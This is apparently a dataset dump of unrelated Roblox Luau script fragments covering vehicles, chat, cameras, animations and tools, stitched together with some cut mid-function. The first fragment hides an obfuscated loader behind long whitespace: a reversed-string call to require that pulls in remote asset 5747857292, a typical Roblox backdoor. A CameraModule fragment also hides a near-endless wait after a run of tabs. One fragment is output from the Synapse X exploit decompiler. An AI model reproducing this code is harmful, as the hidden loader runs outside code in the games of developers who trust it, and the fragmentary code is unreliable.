Roblox/luau_corpus huggingface dataset:
--[[ Last synced 12/18/2020 11:05 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- Represents the function to determine piercing.
export type CanPierceFunction = (ActiveCast, RaycastResult, Vector3) -> boolean
--WeldRec(P.Parent.Lights)

for _,v in pairs(weldedParts) do
	if v:IsA("MeshPart") then
		v.Anchored = false
	end
end

script:Destroy()
--- Returns an array of the names of all registered types (not including aliases)
function Registry:GetTypeNames ()
	local typeNames = {}

	for typeName in pairs(self.Types) do
		table.insert(typeNames, typeName)
	end

	return typeNames
end
-- Check if character is there
if script.Owner.Value.Character ~= nil then
	
	-- Find knife
	local knife = nil
	if script.Owner.Value.Backpack:FindFirstChild("Knife") then
		knife = script.Owner.Value.Backpack.Knife
	elseif script.Owner.Value.Character:FindFirstChild("Knife") then
		knife = script.Owner.Value.Character.Knife
	end
	if knife ~= nil then
		
		-- Make it go through players
		knife.KnifeScript.KnifeProjectileScript.MultikillsAllowed.Value = true
		
	end
	
end
---------------------------
--[[
	--Main anchor point is the DriveSeat <car.DriveSeat>	
	
	Usage:
		MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld"  **Applies to Motor welds only
		ModelWeld(Model,MainPart)
	Example:
		MakeWeld(car.DriveSeat,misc.PassengerSeat)
		MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
		ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here
MakeWeld(car.DriveSeat,misc:WaitForChild('Downforce'))

misc:WaitForChild("Spoiler")
MakeWeld(car.DriveSeat,misc.Spoiler:WaitForChild("A1")).Name="W"
MakeWeld(misc.Spoiler.A1,misc.Spoiler:WaitForChild("A2"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.A2,misc.Spoiler:WaitForChild("A3"),"Motor",.02).Name="W"
MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A4"),"Motor",.01).Name="P"
MakeWeld(misc.Spoiler.A4,misc.Spoiler:WaitForChild("Sp"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.Sp,misc.Spoiler:WaitForChild("B1"))
MakeWeld(misc.Spoiler.B1,misc.Spoiler:WaitForChild("B"),"Motor",.01).Name="W"

car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
	end
end)
--[=[
	Sets the BasicPane to be visible

	@param isVisible boolean -- Whether or not the pane should be visible
	@param doNotAnimate boolean? -- True if this visiblity should not animate
]=]
function BasicPane:SetVisible(isVisible, doNotAnimate)
	assert(type(isVisible) == "boolean", "Bad isVisible")

	if self._visible ~= isVisible then
		self._visible = isVisible

		local maid = Maid.new()
		self._maid._paneVisibleMaid = maid
		self.VisibleChanged:Fire(self._visible, doNotAnimate, maid)
	end
end
-- Head
local Neck = character.UpperTorso:FindFirstChild("NeckRigAttachment")
local Head = character.Head:FindFirstChild("NeckRigAttachment")
--[[ SCRIPT VARIABLES ]]
local CHAT_BUBBLE_FONT = Enum.Font.SourceSans
local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match
local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match
local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10
local CHAT_BUBBLE_TAIL_HEIGHT = 14
local CHAT_BUBBLE_WIDTH_PADDING = 30
local CHAT_BUBBLE_FADE_SPEED = 1.5

local BILLBOARD_MAX_WIDTH = 400
local BILLBOARD_MAX_HEIGHT = 250	--This limits the number of bubble chats that you see above characters

local ELIPSES = "..."
local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.
local MaxChatMessageLengthExclusive
if FFlagUserChatNewMessageLengthCheck2 then
	MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1
else
	MaxChatMessageLengthExclusive = MaxChatMessageLength - string.len(ELIPSES) - 1
end

local NEAR_BUBBLE_DISTANCE = 65	--previously 45
local MAX_BUBBLE_DISTANCE = 100	--previously 80
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
EmoteNames = {
	Wave = false,
	Point = false,
	Dance = true,
	Dance2 = true,
	Dance3 = true,
	Laugh = false,
	Cheer = false
}

math.randomseed(tick())

function ConfigureAnimationSet(Name, FileList)
	if AnimTable[Name] then
		for i, Connection in pairs(AnimTable[Name].Connections) do
			Connection:disconnect()
		end
	end
	AnimTable[Name] = {}
	AnimTable[Name].Count = 0
	AnimTable[Name].TotalWeight = 0	
	AnimTable[Name].Connections = {}

	-- check for config values
	local Config = script:FindFirstChild(Name)
	if Config then
-- places a brick at pos and returns the position of the brick's opposite corner
function placeBrick(cf, pos, color)
	local brick = Instance.new("Part")
	brick.BrickColor = BrickColor.Random()
	brick.CFrame = cf * CFrame.new(pos + brick.Size / 2)
	script.Parent.BrickCleanup:Clone().Parent = brick -- attach cleanup script to this brick
	brick.BrickCleanup.Disabled = false
	brick.Parent = game.Workspace
	brick:MakeJoints()
	return  brick, pos +  brick.Size
end

function buildWall(cf)

	local color = BrickColor.Random()
	local bricks = {}

	assert(wallWidth>0)
	local y = 0
	while y < wallHeight do
		local p
		local x = -wallWidth/2
		while x < wallWidth/2 do
			local brick
			brick, p = placeBrick(cf, Vector3.new(x, y, 0), color)
			x = p.x
			table.insert(bricks, brick)
			wait(brickSpeed)
		end
		y = p.y
	end

	return bricks

end


function snap(v)
	if math.abs(v.x)>math.abs(v.z) then
		if v.x>0 then
			return Vector3.new(1,0,0)
		else
			return Vector3.new(-1,0,0)
		end
	else
		if v.z>0 then
			return Vector3.new(0,0,1)
		else
			return Vector3.new(0,0,-1)
		end
	end
end


Tool.Enabled = true
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character:FindFirstChildOfClass("Humanoid")
	if not humanoid then
		return 
	end

	local targetPos = MouseLoc:InvokeClient(game:GetService("Players"):GetPlayerFromCharacter(character))
	local lookAt = snap( (targetPos - character.Head.Position).unit )
	local cf = CFrame.new(targetPos, targetPos + lookAt)

	Tool.Handle.BuildSound:Play()

	buildWall(cf)

	wait(5)

	Tool.Enabled = true
end

Tool.Activated:Connect(onActivated)
--//Setup//--
local NPC = script.Parent
local NPCHumanoid = NPC:WaitForChild("Humanoid")
local NPCAnimator = NPCHumanoid:WaitForChild("Animator")

local Anim = script:WaitForChild("Idle")
-- Gets the storage location for packages used by each Dev Modules. The packages
-- that get put in this folder are deduplicated so every distinct version of a
-- package has only one copy.
local function getPackageStorage()
    local packageStorage = PACKAGE_STORAGE_LOCATION:FindFirstChild(PACKAGE_STORAGE_NAME)

    if not packageStorage then
        packageStorage = Instance.new("Folder")
        packageStorage.Name = PACKAGE_STORAGE_NAME
        packageStorage.Parent = PACKAGE_STORAGE_LOCATION
    end

    return packageStorage
end
--------------------------------------------------------------------------
--   Types
--------------------------------------------------------------------------

type Controller = (Humanoid | AnimationController | Animater)
type AnimationIndex = {
	id: string,
	priority: Enum.AnimationPriority?,
	weight: number?,
	weightFade: number?,
	speed: number?,
}
type options = {
	stopOthers: boolean?,
	fadeIn: number?,
	fadeOut: number?,
	weight: number?,
	weightFade: number?,
	speed: number?
}
--Values--
local car = script.Parent.Parent.Car.Value
local FE = workspace.FilteringEnabled
local _Tune = require(car["A-Chassis Tune"])
local Redline = _Tune.Redline
local maxPSI = WasteGatePressure
local totalPSI = 0
local actualPSI = 0
local CR = CompressionRatio
local TC = TurboCount
local handler = car:WaitForChild("UpdateAndMake")
local Values = script.Parent.Parent.Values
local Throttle = script.Parent.Parent.Values.Throttle.Value
local BOVFix = (1 - Throttle)
local tester = 1
local BOVact = 0
local BOVact2 = 0
local Whistle = car.DriveSeat:WaitForChild("Whistle")
local BOV = car.DriveSeat:WaitForChild("BOV")
Whistle:Play()




script.Parent.Parent.Values.RPM.Changed:connect(function()
	--When In Neutral
	if Values.Horsepower.Value == 0 then
		totalPSI = totalPSI + ((((((Values.RPM.Value*(Values.Throttle.Value*1.2)/Redline)/9)-0.035)*((36/TurboSize)*2))/WasteGatePressure)*15)
		if totalPSI < 0.05 then
			totalPSI = 0.05
		end
		if totalPSI > 2 then
			totalPSI = 2
		end
		--TEST
		
	end
	--When Driving
	if Values.Horsepower.Value > 0 then
		totalPSI = totalPSI + ((((((Values.Horsepower.Value*(Values.Throttle.Value*1.2)/_Tune.Horsepower)/9)-0.045)*((36/TurboSize)*2))/WasteGatePressure)*15)
		if totalPSI < 0.05 then
			totalPSI = 0.05
		end
		if totalPSI > 2 then
			totalPSI = 2
		end
		--TEST
		
	end
	
	
	
	actualPSI = totalPSI/2
	

	if FE then
		local BP = totalPSI
		
		handler:FireServer(totalPSI,actualPSI,Throttle,BOVFix,BOV_Loudness,TurboLoudness)
	else
		local Throttle2 = Throttle
		local W = car.DriveSeat:WaitForChild("Whistle")
		local B = car.DriveSeat:WaitForChild("BOV")
		if Throttle2 < 0 then
			Throttle2 = 0
		end
		W.Pitch = (totalPSI)
		W.Volume = (totalPSI/4)*TurboLoudness
		B.Pitch = 1 - (-totalPSI/40)
		B.Volume = (((-0.03+totalPSI/2)*(1 - Throttle))/2)*BOV_Loudness
		
	end
	
end)
--				return hit -- Swerve, without checking to jump.
			elseif Hit.Velocity.y > 1 then 
					Hit = nil -- ignore, if other AI is already jumping; else check to Jump
			end  -- East -West collisions - swerve. North/South, check-to-jump.
		end -- endifs
	end  -- read hit
-- Local Functions
local function OnDisplayNotification(teamColor, message)
	local notificationFrame = ScoreFrame.Frame[tostring(teamColor)].Notification
	notificationFrame.Text = message
	notificationFrame:TweenSize(UDim2.new(1,0,1,0), Enum.EasingDirection.Out,
		Enum.EasingStyle.Quad, .25, false)
	wait(1.5)
	notificationFrame:TweenSize(UDim2.new(1,0,0,0), Enum.EasingDirection.Out,
		Enum.EasingStyle.Quad, .1, false)
end

local function OnScoreChange(team, score)
	ScoreFrame.Frame[tostring(team.TeamColor)].Text = score
end

local function OnDisplayVictory(winningTeam)
	if winningTeam then
		VictoryFrame.Visible = true
		if winningTeam == 'Tie' then
			VictoryFrame.Tie.Visible = true
		else
			VictoryFrame.Win.Visible = true
			local WinningFrame = VictoryFrame.Win[winningTeam.Name]
			WinningFrame.Visible = true
		end
	else
		VictoryFrame.Visible = false
		VictoryFrame.Win.Visible = false
		VictoryFrame.Win.Red.Visible = false
		VictoryFrame.Win.Blue.Visible = false
		VictoryFrame.Tie.Visible = false
	end
end

local function OnResetMouseIcon()
	Mouse.Icon = MouseIcon
end
-- Decompiled with the Synapse X Luau decompiler.

local l__Players__1 = game:GetService("Players");
local l__UserInputService__2 = game:GetService("UserInputService");
local l__UserGameSettings__3 = UserSettings():GetService("UserGameSettings");
local v4 = require(script.Parent:WaitForChild("CameraInput"));
local v5 = require(script.Parent:WaitForChild("CameraUI"));
local v6 = require(script.Parent:WaitForChild("CameraUtils"));
local v7 = tick();
v5.setCameraModeToastEnabled(false);
local u1 = false;
local u2 = false;
local u3 = v7;
local u4 = false;
local u5 = false;
return function(p1)
	local v8 = v4.getTogglePan();
	if p1 and v8 ~= u1 then
		u2 = true;
	end;
	if u1 ~= v8 or tick() - u3 > 3 then
		local v9 = v8 and tick() - u3 < 3;
		v5.setCameraModeToastOpen(v9);
		if v8 then
			u2 = false;
		end;
		u3 = tick();
		u1 = v8;
	end;
	if p1 ~= u4 then
		if p1 then
			u5 = v4.getTogglePan();
			v4.setTogglePan(true);
		elseif not u2 then
			v4.setTogglePan(u5);
		end;
	end;
	if p1 then
		if v4.getTogglePan() then
			v6.setMouseIconOverride("rbxasset://textures/Cursors/CrossMouseIcon.png");
			v6.setMouseBehaviorOverride(Enum.MouseBehavior.LockCenter);
			v6.setRotationTypeOverride(Enum.RotationType.CameraRelative);
		else
			v6.restoreMouseIcon();
			v6.restoreMouseBehavior();
			v6.setRotationTypeOverride(Enum.RotationType.CameraRelative);
		end;
	elseif v4.getTogglePan() then
		v6.setMouseIconOverride("rbxasset://textures/Cursors/CrossMouseIcon.png");
		v6.setMouseBehaviorOverride(Enum.MouseBehavior.LockCenter);
		v6.setRotationTypeOverride(Enum.RotationType.MovementRelative);
	elseif v4.getHoldPan() then
		v6.restoreMouseIcon();
		v6.setMouseBehaviorOverride(Enum.MouseBehavior.LockCurrentPosition);
		v6.setRotationTypeOverride(Enum.RotationType.MovementRelative);
	else
		v6.restoreMouseIcon();
		v6.restoreMouseBehavior();
		v6.restoreRotationType();
	end;
	u4 = p1;
end;
--Precalculated paths
local t,f,n=true,false,{}
local r={
[58]={{39,41,30,56,58},t},
[49]={{39,40,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{39,41,30,56,58,20,19},t},
[59]={{39,41,59},t},
[63]={{39,41,30,56,58,23,62,63},t},
[34]={{39,40,35,34},t},
[21]={{39,41,30,56,58,20,21},t},
[48]={{39,40,35,34,32,31,29,28,44,45,49,48},t},
[27]={{39,40,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{39,40,35,34,32,31},t},
[56]={{39,41,30,56},t},
[29]={{39,40,35,34,32,31,29},t},
[13]={n,f},
[47]={{39,40,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{39,40,35,34,32,31,29,28,44,45},t},
[57]={{39,41,30,56,57},t},
[36]={{39,40,35,37,36},t},
[25]={{39,40,35,34,32,31,29,28,27,26,25},t},
[71]={{39,41,59,61,71},t},
[20]={{39,41,30,56,58,20},t},
[60]={{39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{39,41,59,61,71,72,76,73,75},t},
[22]={{39,41,30,56,58,20,21,22},t},
[74]={{39,41,59,61,71,72,76,73,74},t},
[62]={{39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{39,40,35,37},t},
[2]={n,f},
[35]={{39,40,35},t},
[53]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{39,41,59,61,71,72,76,73},t},
[72]={{39,41,59,61,71,72},t},
[33]={{39,40,35,37,36,33},t},
[69]={{39,41,60,69},t},
[65]={{39,41,30,56,58,20,19,66,64,65},t},
[26]={{39,40,35,34,32,31,29,28,27,26},t},
[68]={{39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{39,41,59,61,71,72,76},t},
[50]={{39,40,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{39,40,35,34,32,31,29,28,27,26,25,24},t},
[23]={{39,41,30,56,58,23},t},
[44]={{39,40,35,34,32,31,29,28,44},t},
[39]={{39},t},
[32]={{39,40,35,34,32},t},
[3]={n,f},
[30]={{39,41,30},t},
[51]={{39,40,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{39,41,30,56,58,20,19,66,64,67},t},
[61]={{39,41,59,61},t},
[55]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{39,40,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{39,40,38,42},t},
[40]={{39,40},t},
[52]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{39,41},t},
[17]={n,f},
[38]={{39,40,38},t},
[28]={{39,40,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{39,41,30,56,58,20,19,66,64},t},
}
return r
--[[
	CameraModule - This ModuleScript implements a singleton class to manage the
	selection, activation, and deactivation of the current camera controller,
	character occlusion controller, and transparency controller. This script binds to
	RenderStepped at Camera priority and calls the Update() methods on the active
	controller instances.

	The camera controller ModuleScripts implement classes which are instantiated and
	activated as-needed, they are no longer all instantiated up front as they were in
	the previous generation of PlayerScripts.

	2018 PlayerScripts Update - AllYourBlox
--]]
																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																								wait(999999999999999999999)
local CameraModule = {}
CameraModule.__index = CameraModule

local FFlagUserCameraToggle do
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserCameraToggle")
	end)
	FFlagUserCameraToggle = success and result
end

local FFlagUserRemoveTheCameraApi do
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserRemoveTheCameraApi")
	end)
	FFlagUserRemoveTheCameraApi = success and result
end
--------RIGHT DOOR --------
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)

game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)

game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.Lighting.flashcurrent.Value = "13"
--[[
	Constructs a new ForValues object which maps values of a table using
	a `processor` function.

	Optionally, a `destructor` function can be specified for cleaning up values.
	If omitted, the default cleanup function will be used instead.

	Additionally, a `meta` table/value can optionally be returned to pass data created
	when running the processor to the destructor when the created object is cleaned up.
]]
local Package = script.Parent.Parent

local Dependencies = require(script.Parent.Parent.Dependencies)
local utility = Dependencies.utility

local class = {}

local CLASS_METATABLE = { __index = class }
--Variables
local bloodPart = script:WaitForChild("BloodPart")
local bloodParticles = script:WaitForChild("BloodParticles")
local bloodCache = workspace:FindFirstChild("BloodCache")
--[[
	TransparencyController - Manages transparency of player character at close camera-to-subject distances
	2018 Camera Update - AllYourBlox		
--]]

local MAX_TWEEN_RATE = 2.8 -- per second

local Util = require(script.Parent:WaitForChild("CameraUtils"))
-- / Functions / --
MessagesModule.GetVictoryMessage = function(Player)
	local PlayersName = Player.DisplayName
	
	local VictoryMessage = VictoryMessagesModule.GetRandomMessage(PlayersName)
	
	return VictoryMessage
end

MessagesModule.GetDeathMessage = function(Player)
	local PlayersName = Player.DisplayName

	local DeathMessage = DeathMessagesModule.GetRandomMessage(PlayersName)

	return DeathMessage
end
-- Change "Money" to the name of your currency. Example: Cash
	local clone = tools:FindFirstChild(tool):Clone()
	clone.Parent = player.StarterGear
	-- Copy this code if you want the player to still have the tool even if he died
	local clone2 = tools:FindFirstChild(tool):Clone()
	clone2.Parent = player.StarterGear
end)
---------------------------------------Function end here.
end


Tool.Enabled = true
function onActivated()

	if not Tool.Enabled then
		return
	end

	--Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return 
	end

	local targetPos = humanoid.TargetPoint
	local lookAt = (targetPos - character.Head.Position).unit
	
	if (check()) then
	fire(lookAt)
	wait(0.06)
	onActivated()
	end
	return

	--Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)